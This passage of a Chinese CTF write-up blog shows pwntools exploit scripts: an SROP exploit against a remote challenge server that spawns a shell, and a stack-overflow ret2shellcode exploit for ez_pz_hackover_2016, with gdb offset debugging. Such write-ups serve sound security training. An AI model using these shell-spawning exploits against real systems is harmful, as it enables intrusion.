    p = remote('node4.buuoj.cn', 26376)
    elf = ELF('pwn')
    
    rax_15 = 0x4004DA
    syscall = 0x400517
    
    payload = b'a'*0x10 + p64(elf.sym['vuln'])
    p.sendline(payload)
    p.recv(0x20)
    binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
    print('binsh=>',hex(binsh))
    
    # 设置sigframe关键寄存器
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_execve
    sigframe.rdi = binsh
    sigframe.rsi = 0
    sigframe.rdx = 0
    sigframe.rip = syscall
    
    print('sigframe.rax:',sigframe.rax)
    payload = b'/bin/sh\x00'*2 + p64(rax_15) + p64(syscall) + flat(sigframe)
    
    p.sendline(payload)
    p.interactive()
    复制代码

    ez_pz_hackover_2016

    0
    chall函数
    0
    如果执行了 vuln 函数,那么就可以触发栈溢出漏洞
    0
    首先要使 strcmp(s, "crashme") == 0 ,所以令 payload = 'crashme\x00'
    明显这道题是 ret2shellcode
    接下来就是本题重点了,调试出偏移地址
    0x8048600 是发送栈溢出漏洞这里的汇编指令地址,IDA查看需要的填充无用数据大小是错的,需要动态调试
    0
    一个调试技巧,这里要先断点,不然程序就直接结束了,无法debug
    复制代码
    from pwn import *
    p=process('./1')
    context.log_level='debug'
    
    gdb.attach(p,'b *0x8048600')
    
    p.recvuntil('crash: ')
    stack=int(p.recv(10),16)
    print(hex(stack))
    
    payload=b'crashme\x00' + b'a'*4
    p.sendline(payload)
    
    pause()
    复制代码
    进入gdb界面后,按 c 运行到断点处
    查看栈可以发现,我们的数据在 0xffa39603 处开始填充,如果要覆盖 ebp ,那么需要 0x16 + 4 个字节
    这里 chall 函数泄露地址是 0xfff5f9cc
    0
    记录我们写入的 shellcode 的偏移为 0x1c,所以可以用 泄露地址 - 0x1c 来代表 shellcode 地址
    0
    于是构造出以下exp
    复制代码
    from pwn import *
    p=process('./1')
    context.log_level='debug'

    p.recvuntil('crash: ') stack=int(p.recv(10),16) print(hex(stack)) payload=b'crashme\x00'+b'a'*(0x16+4-8) + p32(stack-0x1c) + asm(shellcraft.sh()) p.sendline(payload) p.interactive()
    复制代码

     这里比较坑的是,不知道是不是我环境配置的原因,我用 ubuntu16 和 ubuntu18 这两台是无法成功动态调试的,一按 c 就程序就直接结束了,根本不理会是否设置了断点,换了 ubuntu22 和 kali 才能正常调试

  • 相关阅读:
    xml里面<foreach>标签用法
    葡萄糖-聚乙二醇-阿奇霉素,Azithromycin-PEG-Glucose
    计算机毕业设计选题推荐-精品水果线上销售网站-Java项目实战
    Redis Lua Java 随机编号 用户编号
    【初阶与进阶C++详解】第八篇:string类(标准库string类+string类模拟实现)
    # Spring Boot 中如何使用 Spring Cloud Sleuth 来实现分布式跟踪?
    高并发,不怕不怕「限流算法第一把法器:计数器法」
    C++学习之旅
    19.服务器端会话技术Session
    文字处理工具 word 2019 mac中文版改进功能
  • 原文地址:https://www.cnblogs.com/xshhc/p/16773997.html